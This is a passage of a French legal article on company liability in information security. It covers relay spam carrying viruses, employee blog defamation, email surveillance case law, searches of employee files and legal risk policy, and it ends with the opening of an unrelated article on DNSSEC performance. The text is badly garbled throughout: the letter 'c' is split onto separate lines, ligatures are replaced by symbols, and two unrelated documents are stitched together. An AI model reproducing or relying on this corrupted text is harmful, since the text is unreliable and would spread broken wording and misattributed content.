e dans l'a�aire kitetoa étant par ailleurs marquées par l'usage

de � moyens réguliers � et par un 
ontexte appli
atif : pages d'un site web, � qui ne qui ne font

par dé�nition l'objet d'au
une prote
tion de la part de l'exploitant du site ou de son prestataire de

servi
es � et où � même s'agissant de données nominatives, l'internaute y a

édant dans de telles


onditions (
f. supra, 2�) ne peut inférer de leur seule nature qu'elles ne sont pas publiées ave


l'a

ord des intéressés. �

Cas de l'attaque par rebond Prenons 
ette fois pour hypothèse 
elle de serveurs de messagerie

mal 
on�gurés qui vont être utilisés par des pirates 
omme relais de spamming pour di�user massi-

vement un message à 
ara
tère publi
itaire, mais qui 
ontient en réalité un virus. Dans quelle mesure

la responsabilité de l'entreprise et ses responsables (dirigeants, DSI, . . . ) peut-elle être engagée du

fait du préjudi
e 
ausé aux vi
times de 
es attaques ?

D'abord, pré
isons en 
e qui 
on
erne le spam, que 
elui-
i ne fait pas l'objet de san
tion spé-


i�que, mais peut être poursuivi sur d'autres fondements tels que la prospe
tion 
ommer
iale non

solli
itée, la 
olle
te frauduleuse des adresses e-mails ou bien en
ore l'entrave au fon
tionnement du

système lorsque l'envoi répété des messages 
onduit (de façon intentionnelle) à une saturation de la

bande passante des serveurs 
iblés voir un blo
age de l'a

ès à la messagerie (on parlera i
i plut�t

d'e-mail bombing).

Toutefois, en réalité, dans notre hypothèse, le spam n'est que le moyen de propager un 
ontenu

illi
ite, en l'o

urren
e un virus, 
e qui est sus
eptible de relever du nouvel arti
le 323-3-1 du 
ode

12

Tribunal 
orre
tionnel de Paris, 13 o
tobre 2002 - Revue Communi
ation Commer
e éle
tronique, mai

2002, p.31, note Grynbaum

13

Cour d'appel de Paris, 12

ème

h., 30 o
tobre 2002 � Même revue, janvier 2003, p. 30, note Grynbaum

14

Cf. CA Toulouse, 31

ème

h., 21 janvier 1999
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pénal, introduit par la loi du 21 juin 2004 (plus 
onnue sous l'a
ronyme � LEN � ou � LCEN �).

Pour mémoire, 
e texte san
tionne :

� le fait, sans motif légitime, de d'importer, de détenir, d'o�rir, de 
éder ou de mettre à dis-

position un équipement, un instrument, un programme informatique ou toute donnée 
onçus ou

spé
ialement adaptés pour 
ommettre une ou plusieurs des infra
tions prévues par les arti
les 323-1

à 323-3 est puni des peines prévues respe
tivement pour l'infra
tion elle-même ou pour l'infra
tion

la plus sévèrement réprimée. �

15

Ainsi, on peut s'interroger sur le point de savoir si 
ette infra
tion est sus
eptible d'in
riminer


elui qui, de bonne foi, relaye ou retransmet le mail infe
té par le biais de sa messagerie éle
tronique

elle-même 
ompromise, à de nouveaux destinataires.

De prime abord, on pourrait répondre que, s'agissant d'un délit, le juge pénal exigera la preuve

de l'intention du di�useur du message

16

, preuve souvent di�
ile à rapporter et qui en l'espè
e

devrait faire défaut puisque l'hypothèse envisagée est bien 
elle d'une transmission involontaire

du message infe
té. Cependant, les vi
times infe
tées, et plus parti
ulièrement les entreprises dont

la produ
tivité et la 
ontinuité même peuvent être gravement 
ompromise suite à 
es attaques

virales

17

, essaieront avant tout d'obtenir réparation de leur dommage en se plaçant sur le terrain de

la responsabilité 
ivile déli
tuelle ou quasi-déli
tuelle, le défaut de 
on�guration du serveur pouvant

alors être 
onsidéré soit 
omme une faute soit 
omme une négligen
e dans la sé
urisation du système

origine de l'attaque. . .

La tendan
e des juges à se montrer moins 
léments ave
 les responsables de SI qui ne 
orrigent

pas les failles de sé
urité (
f. supra, a�aire Kitetoa) impose dès lors de se montrer très prudent. En

dé�nitive, dans tous les 
as d'attaque par rebond � qui re
ourent généralement à des te
hniques

sophistiquées pour dissimuler l'installation par exemple d'un rootkit sur un serveur Web (tunnel

IPV6, 
ryptage, logi
iels anti-forensi
, et
.)

18

, et en parti
ulier s'agissant des grandes entreprises

qui possèdent leur propre infrastru
ture (auquel 
as elles peuvent être assimilées à un fournisseur

d'a

ès au sens de la loi sur la sé
urité quotidienne �LSQ� du 15 novembre 2001) doivent impérati-

vement 
onserver toutes les preuves sus
eptibles d'établir leur inno
en
e, et notamment les données

te
hniques de 
onnexion telles que stipulées dans le ré
ent dé
ret d'appli
ation du 24 mars 2006

19

.

15

Pour plus de détails sur les 
onditions et le 
hamp d'appli
ation de 
ette nouvelle disposition, voir notre

arti
le : Nouvel arti
le 323-3-1 du 
ode pénal : le 
heval de Troie du législateur ? � MISC 14, juin 2004.

16

Arti
le 121-3 du 
ode pénal : � Il n'y a point de 
rime ou de délit sans intention de le 
ommettre, et don


la volonté de 
auser le dommage à autrui doit pouvoir être établie.

17

Les parti
uliers vi
times, elles, en raison du seuil de juridi
ité, adopteront plut�t un ré�exe de prote
tion

te
hnique (installation/mise à jour d'anti-virus) que d'engager des poursuites judi
iaires . . .

18

Pour un panorama des publi
ations sur les te
hniques anti-forensi
 qui 
onsistent à détruire, 
amou�er,

modi�er des tra
es ou prévenir la 
réation d' � empreintes éle
troniques � dans le but de limiter les

moyens d'enquête ou d'examen d'un système, voir : Anti-forensi
, L. Roger � A
tes de la 
onféren
e

SSTIC'05 (pp. 403 & s.).

19

Dé
ret n� 2006-358 relatif à la 
onservation des données des 
ommuni
ations éle
troniques (paru au

JO du 26 mars 2006). C'est sans surprise que le texte a opté pour la durée de 
onservation maximum

prévue par la loi, soit un an. De plus, il �xe les 
atégories de données à 
onserver : identi�
ation de

l'utilisateur et destinataires de la 
ommuni
ation, type d'équipements terminaux, date, heure et durée de


haque é
hange, servi
es 
omplémentaires utilisés, fournisseurs (soit, dans les grandes lignes, les données

envisagées dans le 
adre de la Convention sur la 
yber
riminalité adoptée en 2001).
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2.2 Responsabilité 
ivile ou pénale engagée du fait des agissements d'un salarié

Cas des propos di�amatoires tenus sur le blog d'un salarié Il s'agit i
i d'envisager les res-

ponsabilités en
ourues du fait des propos di�amatoires qui seraient tenus à l'en
ontre d'une so
iété


on
urrente de l'entreprise par un salarié auteur d'un blog satirique. Ce dernier, bien qu'hébergé

par un tiers, est administré par le salarié à son domi
ile, le soir, au moyen du portable mis à sa

disposition par l'entreprise.

Comme indiqué plus haut, la responsabilité 
ivile de l'entreprise ou de l'employeur peut trouver

sa sour
e dans la faute 
ommise par un � préposé � (autrement dit un salarié), à moins qu'il ne

démontre que 
elui-
i a 
ommis un abus de fon
tion. C'est la Cour de 
assation, dans un arrêt de

prin
ipe rendu en 
hambre plénière du 19 mai 1988

20

, qui a �xé les 
onditions dans lesquelles l'em-

ployeur (appelé i
i le � 
ommettant �) peut s'exonérer de 
ette responsabilité � de plein droit �

21

,

à savoir lorsque le � préposé � a agi :

i � hors des fon
tions auxquelles il est employé,

ii � sans autorisation et

iii � à des �ns étrangères à ses attributions.

Puis, la 
hambre 
riminelle de la 
our a pré
isé dans un autre arrêt de 1988

22

qu'était dans

l'exer
i
e de ses fon
tions le salarié qui a trouvé dans son emploi � l'o

asion et les moyens de sa

faute �.

Appliquée au domaine des te
hnologies d'information, 
ette jurispruden
e a donné lieu à une

dé
ision (que l'on jugera, ave
 d'autres [ITE℄, plut�t sévère) rendue par le TGI* de Marseille le

11 juin 2003 (SA Es
ota 
./ Sté Ly
os, Sté Lu
ent Te
hnologies et M. N.B.

23

), dans laquelle les

juges ont dé
laré responsable de 
ontrefaçon l'employeur du 
réateur d'un site Internet litigieux

24

en 
onstatant que "le site litigieux a été réalisé sur le lieu de travail grâ
e aux moyens fournis par

l'entreprise" ; que, dans la mesure où � la libre 
onsultation des sites Internet était autorisée et

au
une interdi
tion spé
i�que n'était formulée quant à l'éventuelle réalisation de sites Internet ou

de fourniture d'informations sur des pages personnelles �, la faute salarié avait été 
ommise � dans

le 
adre des fon
tions auxquelles il était employé �.

Gageons que 
ette sévérité du tribunal dans l'a�aire Es
ota (dont les faits sont parfaitement

similaires à l'hypothèse retenue dans le présent 
as) ne fera pas é
ole et que les juges 
hargés

de l'appel sauront rétablir l'équilibre en fon
tion de la réalité de la parti
ipation de 
ha
un à la

réalisation du dommage 
ausé par les agissements d'un salarié.

A 
et égard, on peut mesurer, au vu de 
e premier jugement, l'importan
e que revête l'inter-

prétation des 
hartes de bon usage des ressour
es informatiques de l'entreprise. Ces do
uments,

qui sont autant de véritables guides 
omportementaux, doivent en parti
ulier permettre de dessiner

20

Bull. 
iv. n�5 ; D.1988.513, note Larroumet

21

C'est-à-dire automatique (il n'est pas né
essaire de rapporter au
une faute de l'employeur lui-même). . .

22

Cass.
rim., 23 juin 1988 � Gaz.Pal. 1989.1.13, note Dou
et

23

Consultez les minutes du jugement sur : http://www.juris
om.net/do
uments/tgimarseille20030611.

pdf

24

Plus pré
isément, il s'agissait d'un site satirique dénommé � Es
ro
a �, tendant à dénon
er les abus

dont faisait preuve (selon le 
réateur du site) la so
iété Es
ota, 
on
essionnaire de la 
onstru
tion et

de l'exploitation d'autoroutes du sud-est de la Fran
e. L'a
tion intentée sur les 
hefs de 
ontrefaçon de

marque, 
ontrefaçon des pages du site "es
ota.
om" et pour les propos obs
ènes et les insultes proférées à

l'attention de ses employés et de ses dirigeants, était dirigée 
ontre le 
réateur du site mais également son

hébergeur (Multimania devenu Ly
os) et son employeur auquel il était repro
hé de ne pas avoir surveillé

ses salariés.
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très pré
isément les 
ontours de l'usage à des �ns privés toléré par l'entreprise, lequel 
omportera

par exemple les 
ritères de dé�nition suivants :

� un usage non sus
eptible d'amoindrir les 
onditions d'a

ès professionnel

� ne mettant pas en 
ause la produ
tivité de l'utilisateur

� ne portant pas atteinte aux intérêts ou la réputation de l'entreprise

� ni de nature à 
auser un quel
onque préjudi
e à un tiers.

Responsabilité pénale du fait d'un 
omportement déli
tueux d'un salarié Après la res-

ponsabilité 
ivile, il s'agit i
i d'envisager la mise en jeu de la responsabilité pénale de l'entreprise

ou son représentant du fait d'une infra
tion 
ommise par le salarié dans le 
adre de son emploi.

Entre autres hypothèses, on peut 
iter i
i deux exemples qui sont dans � l'air du temps � :

� télé
hargement en mode P2P de �
hiers pirates (audio, vidéo ou logi
iels 
ontrefaits) � art.

L.335-3 CPI*

� télé
hargement d'images pédophiles � art. 227-23 C.pén.*

En e�et, la responsabilité pénale du 
hef d'entreprise (et de l'entreprise elle-même si la loi le

prévoit � 
f. supra, prin
ipe de légalité) peut tout à fait être engagée pour toute infra
tion 
ausée

dans l'entreprise par un préposé dans la mesure où le 
hef d'entreprise est tenu d'une obligation de

surveillan
e et de 
ontr�le sur le fon
tionnement de l'entreprise. Cependant, for
e est de 
onstater

que les 
as de 
ondamnation du dirigeant sur 
e fondement sont très rares. Les raisons prin
ipales

en sont les suivantes . . .

Pour pouvoir être retenue, la responsabilité pénale de l'employeur né
essiterait de démontrer sa

parti
ipation intentionnelle à la 
ommission de l'infra
tion, s
énario qui serait plut�t ex
eptionnel

par rapport à l'hypothèse la plus 
ourante qui est que le salarié agit dans 
es 
as de �gure à l'insu

de 
et employeur. Ce dernier n'est don
 
ertainement pas (sauf en
ore une fois, 
ara
tère très

ex
eptionnel) 
o-auteur de l'infra
tion du salarié et, de la même façon, il ne revêtira généralement

pas non plus l'habit du 
ompli
e, l'élément moral de la 
ompli
ité (qui est dé�nie à l'arti
le 121-7 du


ode pénal) impliquant, 
omme l'expli
ite les tribunaux, � une parti
ipation volontaire et 
ons
iente

de l'aide apportée à la 
ommission d'une infra
tion (. . . ) �

25

, � une simple négligen
e ne pouvant

être assimilée à une parti
ipation intentionnelle �

26

.

Ainsi, dans un jugement rendu par le Tribunal 
orre
tionnel du Mans le 16 février 1998 (Monsieur

le Pro
ureur de la République / Philippe H) où des images pédophiles avaient été télé
hargées par

un salarié sur l'Internet, la responsabilité du dirigeant n'a pas été re
her
hée sur le plan pénal.

Toutefois, il en aurait très 
ertainement été autrement s'il avait été démontré que le dirigeant

avait été informé du 
omportement déli
tueux sans rien faire pour le faire 
esser. Il est don
 for-

tement re
ommandé par l'ensemble des prati
iens de veiller à toujours se pla
er � du 
�té des

poursuivants � en dénonçant les faits auprès des autorités de poli
e et justi
e, l'abstention ou le

silen
e � en 
onnaissan
e de 
ause � étant alors sus
eptible de se transformer en aide ou assistan
e

à la 
ommission du délit (
f. supra, Cass.
rim. 23 juin 1988).

2.3 Responsabilité 
ivile ou pénale engagée du fait des mesures de surveillan
e

opérées sur le réseau d'entreprise

La 
ybersurveillan
e est au 
÷ur des relations de travail modernes et le fragile équilibre entre

le respe
t des droits du salarié (vie privée, se
ret des 
orrespondan
es, . . . ) et le droit de 
ontr�le

25

T.
orr.* Lyon, 19 dé
embre 1983 � Gaz.Pal. 1985.somm.216, note Dou
et

26

Crim., 6 dé
embre 1989 � Dr.pénal.1990.117
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et de surveillan
e

27

de l'employeur sous-tend la li
éité des 
ontr�les qui sont opérés sur le réseau

d'entreprise. De nombreux é
ueils mena
ent ainsi le � long �euve tranquille � (soyons un peu

ironique !) qu'est aujourd'hui la vie des professionnels de la SSI qui voient dans 
e domaine, à

défaut d'un en
adrement rigoureux, de nombreuses o

asions d'engagement de leur responsabilité.

Cas du 
ontr�le de la messagerie éle
tronique Ainsi, en matière de 
ontr�le de la messagerie

éle
tronique, la jurispruden
e s'est progressivement formée et a mûri depuis l'arrêt Nikon du 2

o
tobre 2001

28

. S'agissant de la responsabilité des personnes en 
harge de 
e 
ontr�le, 
'est la

le
ture de l'a�aire du laboratoire de l'� ESPCI � qui sus
ite le plus d'intérêt (CA Paris, 17 dé
embre

2001), et 
e à un double point de vue : d'une part, les juges du fond y ont adopté une interprétation

restri
tive de la notion d'inter
eption illégale de 
orrespondan
e et, d'autre part, ils ont pré
isé les

limites de la mission de 
ontr�le des administrateurs :

� Sur la notion d'inter
eption illégale de 
orrespondan
e : � L'inter
eption est dé�nie par les

di
tionnaires Larousse 
omme Ha
hette autour de deux notions : d'une part, le fait d'arrêter

quelque 
hose ou quelqu'un à son passage, d'autre part, 
elui de s'emparer, de prendre par

surprise 
e qui appartient à quelqu'un d'autre. Le tribunal (TGI Paris, 2 nov. 2000) s'est

référé à 
ette se
onde a

eption en retenant qu'il y avait eu "prise de 
onnaissan
e par sur-

prise". Or, (. . . ) il résulte des espè
es les plus pro
hes des faits de l'a
tuelle pro
édure (Cass.

Crim., 14 avril 1999 Dalloz 1999 Somm. p. 324 pour l'exploitation de la messagerie d'un

appareil "Tatoo" et CA Aix-en-Proven
e 12 dé
embre 1996 JCP 1997 jurispruden
e 22975

pour un appareil Tam Tam) que ne 
onstituent pas une inter
eption la le
ture et la retrans-


ription de messages dès lors que 
elles-
i ne né
essitent ni dérivation ou bran
hement et

sont e�e
tuées sans arti�
e ni stratagème 
e qui reprend d'ailleurs une pré
édente formule

utilisée à l'o

asion de l'é
oute d'une 
onversation téléphonique (Cass. Crm. 2 avril 1997

bull n�131). Au 
as d'espè
e (surveillan
e opérée à partir du serveur de messagerie), au
un

arti�
e ni stratagème ne peut être retenu. (. . . ) �.

� Sur les limites de la mission des administrateurs de réseaux : � Il est dans la fon
tion des ad-

ministrateurs de réseaux d'assurer le fon
tionnement normal de 
eux-
i ainsi que leur sé
urité


e qui entraîne, entre autre, qu'ils aient a

ès aux messageries et à leur 
ontenu, ne serait-


e que pour les débloquer ou éviter des démar
hes hostiles. (. . . ) Par 
ontre il apparaît des

27

L'employeur tire 
es droits de son pouvoir de dire
tion - Cass. So
 14 mars 2000 Dujardin 
/ Sté Instinet

28

A�rmation du prin
ipe de respe
t de la vie privée et du se
ret des 
orrespondan
es personnelles,

� 
e
i même au 
as où l'employeur aurait interdit une utilisation non professionnelle de l'ordina-

teur � (http://www.
ourde
assation.fr/agenda/arrets/arrets/99-42942arr.htm), reprise dans plu-

sieurs dé
isions des juges du fond (notamment, CA Chambéry � 6 novembre 2003, Mme Anne O.


./ CGEA Anne
y : http://www.foruminternet.org/do
uments/juridpruden
e/lire.phtml?id=961),

qui pré
isent que ne sont protégés que les seuls messages qui présentent un 
ara
tère personnel, à

l'ex
lusion des 
orrespondan
es de nature professionnelle. A 
et égard, on soulignera que le juge ne

manque pas, en 
e qui 
on
erne les 
ritères de distin
tion entre messages à 
ara
tère privé et 
eux

d'ordre professionnel, de se référer le 
as é
héant à la norme dé�nie dans la Charte d'utilisation de

l'entreprise. Voir notamment : Conseil de prud'hommes Nanterre, 15 septembre 2005 (http://www.

foruminternet.org/do
uments/juridpruden
e/lire.phtml?id=980) � au sujet de messages d'un sa-

larié ne 
omportant pas la mention � PRV � (pour privé) imposée par la Charte, ou en
ore : CA

Douai, 26 novembre 2004, M. Philippe B. 
./ SA Laboratoires Pharma
eutiques Rodael, M. Paul E.

(http://www.foruminternet.org/do
uments/juridpruden
e/lire.phtml?id=957)� au sujet de 
our-

riers à 
ara
tère professionnel mais sto
kés sur son PC et verrouillés dans des �
hiers informatiques

personnels du salarié.
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éléments du dossier que les (administrateurs) ont mis en pla
e une surveillan
e parti
ulière

a�n de 
onnaître le 
ontenu des 
orrespondan
es émises ou reçues par (l'étudiant). (. . . ) (Que

si) La préo

upation de la sé
urité du réseau justi�ait que les administrateurs de systèmes et

réseaux fassent usage de leurs positions et des possibilités te
hniques dont ils disposaient pour

mener les investigations et prendre les mesures que 
ette sé
urité imposaient � de la même

façon que la Poste doit réagir à un 
olis ou une lettre suspe
te. Par 
ontre la divulgation du


ontenu des messages ne relevait pas de 
es obje
tifs. �

En dé�nitive, l'arrêt de la Cour d'appel � dont nous venons de 
iter les prin
ipaux extraits �,


ontribue bien à 
lari�er le r�le et la responsabilité des administrateurs réseau (à 
et égard, on

soulignera que les re
ommandations de la CNIL 
on
ernant � le r�le des administrateurs informa-

tiques � se situent également dans le droit �l de 
ette jurispruden
e

29

). Cependant, il n'adresse

pas de réponse pré
ise à la problématique pratique qui va se poser dès lors aux opérationnels 
har-

gés du 
ontr�le de la messagerie, à savoir 
omment réagir fa
e à la 
onstatation de faits graves et

préjudi
iables à l'entreprise au 
ours des opérations de 
ontr�le

30

.

Tenus à une obligation stri
te de 
on�dentialité les empê
hant de révéler le 
ontenu de 
es


onstatations à leur supérieur hiérar
hique qui dispose pourtant de l'autorité et du pouvoir de

dé
ision, les juges les autorisent simplement, et sans autre re
ommandation, à � prendre toutes les

mesures que la sé
urité impose �. La CNIL, quant à elle, pour tenter de répondre aux inquiétudes des

administrateurs après de la 
ondamnation de leurs pairs en 2001, indique dans son Rapport pré
ité

(
f. notes de bas de page) que 
eux-
i seraient libérés de leur obligation de 
on�dentialité dans les


as suivants :

� mise en 
ause du � bon fon
tionnement te
hnique des appli
ations �

� mise en 
ause de la � sé
urité � ou de � l'intérêt de l'entreprise �

� � disposition législative parti
ulière � les 
ontraignant à faire état des informations auxquelles

ils ont eu a

ès dans le 
adre de leur mission.

On le voit, la situation des administrateurs est pour le moins in
onfortable 
ar les règles du

jeu ainsi énon
ées ne leur permettent pas de 
erner véritablement leur marge de man÷uvre en 
as

de 
onstatation ou de suspi
ion de faits graves né
essitant des mesures de 
ontr�le non 
ontradi
-

toires. De plus, seul un juge saisi sur requête est à même, en vertu de son pouvoir d'appré
iation

souverain

31

, de quali�er les faits révélés par les tra
es enregistrées

32

.

29

2ème Rapport sur la 
ybersurveillan
e sur les lieux de travail (Edition 2004, mise à jour dé
embre 2003

- http://www.
nil.fr/fileadmin/do
uments/approfondir/rapports/R
ybersurveillan
e-2004-VD.

pdf) : � Les administrateurs qui doivent veiller à assurer le fon
tionnement normal et la sé
urité des

réseaux et systèmes sont 
onduits par leurs fon
tions même à avoir a

ès à l'ensemble des informations

relatives aux utilisateurs (messagerie, 
onnexions à l'Internet, �
hiers "logs" ou de journalisation, et
.) y


ompris 
elles qui sont enregistrées sur le disque dur du poste de travail. Un tel a

ès n'est 
ontraire à

au
une disposition de la loi du 6 janvier 1978. �

30

Sur le sujet, lire : Le r�le de l'administrateur réseau dans la 
ybersurveillan
e, Me Martine Ri
ouart-

Maillet et Caroline Requillart - http://www.juris
om.net/pro/2/priv20020408.pdf

31

Sur les règles de pro
édure en matière d'appré
iation des preuves, voir dans les a
tes de la 
onféren
e

SSTIC'05 : Délits informatiques et preuve : le dé� de l'impossible ?, par Marie Barel

32

Rappelons i
i que la 
olle
te et la 
onservation de 
es tra
es, même assurée par un huissier de justi
e (sur 
e

point, voir le référentiel Inforensique SI04 : http://www.
elog.fr/sommaire.php3?page=referentiel),

doit toujours respe
ter un 
ertain nombre de formes élémentaires destinées à garantir la qualité de la

preuve et en parti
ulier, dé
rire les 
onditions qui ont entouré les opérations de 
ontr�le , les pré
autions

prises pour prendre 
opie des données et en garantir l'intégrité. Pour un exemple de pla
ement sous
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Cas de l'opération 
ommando � bureau propre � ! De la même façon, les opérations de


ontr�le inopiné menées de plus en plus 
ouramment par les départements sé
urité de grandes entre-

prises dans le 
adre d'audits de sé
urité

33

, trouvent leurs limites dans le même prin
ipe fondamental

de respe
t de la vie privée des salariés et la 
hambre so
iale de la Cour de 
assation, dans un arrêt

du 17 mai 2005

34

, est venue pré
iser sur 
e point les justi�
ations dont peut se prévaloir l'employeur

pour prendre 
onnaissan
e des �
hiers personnels des salariés.

En l'espè
e, 
'est la dé
ouverte par un employeur de photos érotiques

35

dans le tiroir du bureau

d'un salarié absent qui l'avait 
onduit à e�e
tuer une re
her
he sur le disque dur de l'employé (et

dont les juges du fond relèvent par ailleurs que l'a

ès à l'ordinateur n'était protégé par au
un mot

de passe). Cette enquête, non 
ontradi
toire et o

asionnée en dehors d'un 
ontr�le systématique �


e qui, selon la Cour d'appel, lui 
onférait dès lors le 
ara
tère d'une � 
ir
onstan
e ex
eptionnelle �,

révéla � un ensemble de dossiers totalement étrangers à ses fon
tions �gurant notamment sous un

�
hier intitulé � perso � �, motivant un li
en
iement pour faute grave.

Or, suivant l'attendu de prin
ipe adopté i
i par la Cour de 
assation, � l'employeur ne peut ouvrir

les �
hiers identi�és par le salarié 
omme personnels 
ontenus dans le disque dur de l'ordinateur

qu'en présen
e de 
e dernier ou 
elui-
i dûment appelé �, à moins que 
ela ne soit justi�é par un

� risque ou évènement parti
ulier � (notions qui restent en
ore à pré
iser dans la jurispruden
e à

venir mais dont on peut estimer, par analogie ave
 
elle adoptée en matière de fouille sur le lieu de

travail

36

, qu'elles reposeront sur trois types de 
ritères :

� atteinte à la sé
urité de l'entreprise,

� degré de gravité 
ertain et

� 
ara
tère d'urgen
e.

2.4 Responsabilité 
ivile ou pénale engagée du fait d'un défaut de mise en


onformité à la réglementation

Fa
e à un 
ontexte réglementaire et normatif à la fois singulièrement éto�é et évolutif, la lisibilité

des nombreuses obligations auxquelles les entreprises du se
teur des te
hnologies de l'information et

s
ellés jugé irre
evable, voir : CA Douai, 17 dé
embre 2004 � Me Philippe E. 
/ Mme Marie-Claude M.

> http://www.foruminternet.org/do
uments/jurispruden
e/lirephtml?id=954

33

Pour mémoire, l'intervention de Mme Pelegrin-Bomel au SSTIC'05 : La sé
urité 
hez Bouygues Tele
om.

34

Texte de l'arrêt : http://www.droit-ti
.
om/juris/aff.php?id{\_}juris=29

35

Pré
isons i
i que la possession 
omme la 
onsultation d'images érotiques ou bien même à 
ara
tère

pornographique n'est pas 
onstitutive en soi d'une infra
tion et relève de la seule privée du salarié, sauf

lorsque 
es images (ou vidéos) pornographiques sont sus
eptibles d'être vues ou perçues par des mineurs.

Par ailleurs, en matière d'images pédophiles, la simple 
onsultation ne relève pas dire
tement des faits

in
riminés à l'arti
le 227-23 du 
ode pénal. Ainsi un arrêt de la Cour de Cassation (Crim., 5 janvier 2005

- http://www.legalis.net/breves-arti
le.php3?id{\_}arti
le=1448) a estimé justi�ée la dé
ision

de relaxe qui était intervenue en faveur d'un homme qui avait 
onsulté, dans un espa
e multimédia

muni
ipal, des images pédopornographiques sur Internet 
ar le prévenu s'était 
ontenté de visualiser 
es


li
hés sans les enregistrer, les imprimer ou les envoyer à une adresse de 
ourrier éle
tronique. La seule


aptation automatique des images in
riminées dans la mémoire temporaire de l'ordinateur pendant trois

jours ne su�sait pas à matérialiser l'infra
tion de détention (en e�et, statuant par défaut - 
'est-à-dire en

l'absen
e du prévenu-, les juges ne pouvaient en l'espè
e tenter de requali�er l'infra
tion en importation).

36

Cf. en parti
ulier : Cass.so
., 11 dé
embre 2001 (Bull., V, n� 377, p. 303) - http://www.juritel.
om/

Ldj{\_}html-491.html
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des télé
oms sont aujourd'hui soumises est relativement di�
ile, 
ependant que la mise en 
onformité

à 
es textes � qui fait souvent appel à des 
ompéten
es de spé
ialistes pour en analyser la portée �,

est mise à la 
harge des DSI dont la fon
tion se 
omplexi�e. Dès lors, dans un 
ontexte opérationnel

qui fait �gure de terrain miné, on 
omprend aisément la pression à laquelle ils sont soumis fa
e aux

nombreuses responsabilités qui leur sont déléguées.

A titre d'illustration, on peut évoquer les multiples san
tions 
iviles ou pénales qui sont prévues

par exemple en 
as de non-respe
t :

- des dispositions 
on
ernant la 
olle
te, la 
onservation, . . . ou les �ux transfrontaliers de

données à 
ara
tère personnel (loi du 6 janvier 1978 modi�ée) ;

- des règles appli
ables en matière de 
ontr�le à l'exportation de biens de 
ryptologie (a

ords

de Wassenaar) ;

- des obligations de 
onservation des données te
hniques de 
onnexion qui s'imposent non seule-

ment aux prestataires Internet dont le métier prin
ipal est de fournir un a

ès à l'Internet, mais

s'appliquent aussi à toutes les entreprises qui fournissent une adresse de 
ourrier éle
tronique à leurs

salariés (loi du 15 novembre 2001 ; dé
ret d'appli
ation du 24 mars 2006 pré
ités).

Qu'ils soient pénalement et don
 personnellement responsables

37

ou bien la 
ible potentielle des

mesures dis
iplinaires (li
en
iement entre autres) sus
eptibles d'être prise par exemple à la suite

d'une 
ondamnation 
ivile à l'en
ontre de l'entreprise qui n'a pas respe
té les obligations dont il lui

in
ombait d'assurer l'appli
ation, les responsables opérationnels se trouve dans une position très

déli
ate qu'il 
onvient de gérer au mieux sur la base d'une véritable Politique de Gestion des Risques

Juridiques (PGRJ).

En e�et, la PGRJ o�re aux dirigeants et aux responsables opérationnels un outil de le
ture

globale du risque juridique, dont on vient de souligner la di�
ulté de diagnosti
 et qui a également

la 
ara
téristique d'être transversal 
'est-à-dire qui 
on
erne l'ensemble des ressour
es d'une organi-

sation. Pour mettre en oeuvre une politique de gestion des risques juridiques adaptée à l'entreprise

et à son environnement, des outils (veille en parti
ulier) et une méthodologie sont né
essaires. Les

prin
ipales étapes de l'établissement de 
ette politique [VER℄ 
onsisteront à la fois en :

� l'identi�
ation et la lo
alisation dans les ressour
es de l'entreprise des risques

38

potentiels et

des obligations au regard des spé
i�
ités de son a
tivité et du 
adre réglementaire auquel elle

se ratta
he ;

� l'évaluation du risque eu égard à la stratégie de l'entreprise (notamment, dé�nition du ni-

veau de risque a

eptable en prenant en 
onsidération l'environnement juridique mais aussi

te
hnique, 
ommer
ial, humain et organisationnel dans lequel l'entreprise évolue) ;

� un traitement du risque (rédu
tion) et la gestion du risque résiduel, notamment par le re
ours

à l'assuran
e.

En�n, 
ondition sine qua none pour assurer la pérennité de l'a
tivité de l'entreprise par une mise

à jour en 
ontinue de la 
artographie des risques établie ab initio, une information et une sensibili-

sation des 
ollaborateurs s'avère indispensable de façon à la fois à améliorer leur 
ulture juridique

et leur permettre d'être en mesure d'identi�er de nouvelles zones de risques, 
ontribuant ainsi à

37

Sur les 
onditions de validité de la délégation pénale, se référer pour mémoire à la se
tion 1.2 du présent

arti
le.

38

Sur la notion de risque, notons i
i qu'elle peut re
ouvrir deux a

eptations, l'une négative, qui se dé
line

prin
ipalement en risque pénal, risque �nan
ier et risque d'image, et l'autre, positive, au sens non plus

de vulnérabilité mais au 
ontraire d'opportunité pour l'entreprise qui saura anti
iper les évolutions de

son environnement et tirer un avantage 
on
urrentiel des normes nouvelles.
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fa
iliter l'adaptation de l'entreprise aux 
hangements de l'environnement juridique, é
onomique et

te
hnique.

3 Con
lusion

Ce bref exposé de la problématique de la responsabilité en entreprise liée à la gestion du système

d'information et des réseaux nous a permis, à travers quelques exemples parmi les plus symptoma-

tiques, d'entrevoir les prin
ipales 
atégories de risques qui doivent être pris en 
onsidération au sein

de la politique de gestion des risques juridiques.

Cette démar
he, dans laquelle les juristes sont eux-mêmes amenés à évoluer pour proposer en

premier lieu des solutions plut�t que de � dire le droit �, doit permettre en parti
ulier aux res-

ponsables opérationnels du SI dont les a
tivités génèrent des risques de plus en plus en nombreux,

de mieux maîtriser 
es risques en a
quérant la 
onnaissan
e né
essaire des normes juridiques ap-

pli
ables à leur métier et d'identi�er e�
a
ement les 
omportements transgressifs au travers un

tableau de bord des risques juridiques.

Trop souvent perçue en
ore 
omme un poste de 
harge inutile, la PGRJ, qui parti
ipe d'une

meilleure gouvernan
e de l'entreprise, permet à n'en pas douter de prévenir des sinistres dont les


onséquen
es �nan
ières sont généralement sans 
ommune mesure ave
 les investissements induits

par sa mise en ÷uvre.
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Résumé L'objet de 
et arti
le est de mesurer les 
oûts liés à l'utilisation des extensions

de sé
urité du DNS. Cet arti
le présente les résultats d'une étude sur les performan
es des

diverses extensions de sé
urité du proto
ole DNS (DNSSEC et TSIG), ainsi que d'autres

proto
oles de sé
urité 
omme IPse
. Les tests ont été faits sur une plateforme, de manière à

permettre une 
omparaison entre 
es diverses extensions. Le 
oût de 
es diverses extensions de

sé
urité ayant été mis en éviden
e, il est alors possible d'implémenter une base DNS sé
urisée

en 
hoisissant les mé
anismes de sé
urité de manière adéquate en fon
tion des performan
es

que le système doit atteindre, l'appli
ation spé
i�que à laquelle doit répondre l'ar
hite
ture

DNS, son environnement réseau... Inversement, on pourra également dé
ider, 
onnaissant le


oût généré par les extensions de sé
urité, de ne pas les implémenter dans un premier temps,

et modi�er l'ar
hite
ture progressivement de manière à pouvoir implémenter, par la suite, les

extensions 
hoisies.

1 Introdu
tion

Internet repose en grande partie sur le système DNS, qui permet d'établir le lien entre un nom

de domaine et une adresse IP. Ce système de nommage a été 
onstruit à l'heure où la sé
urité ne


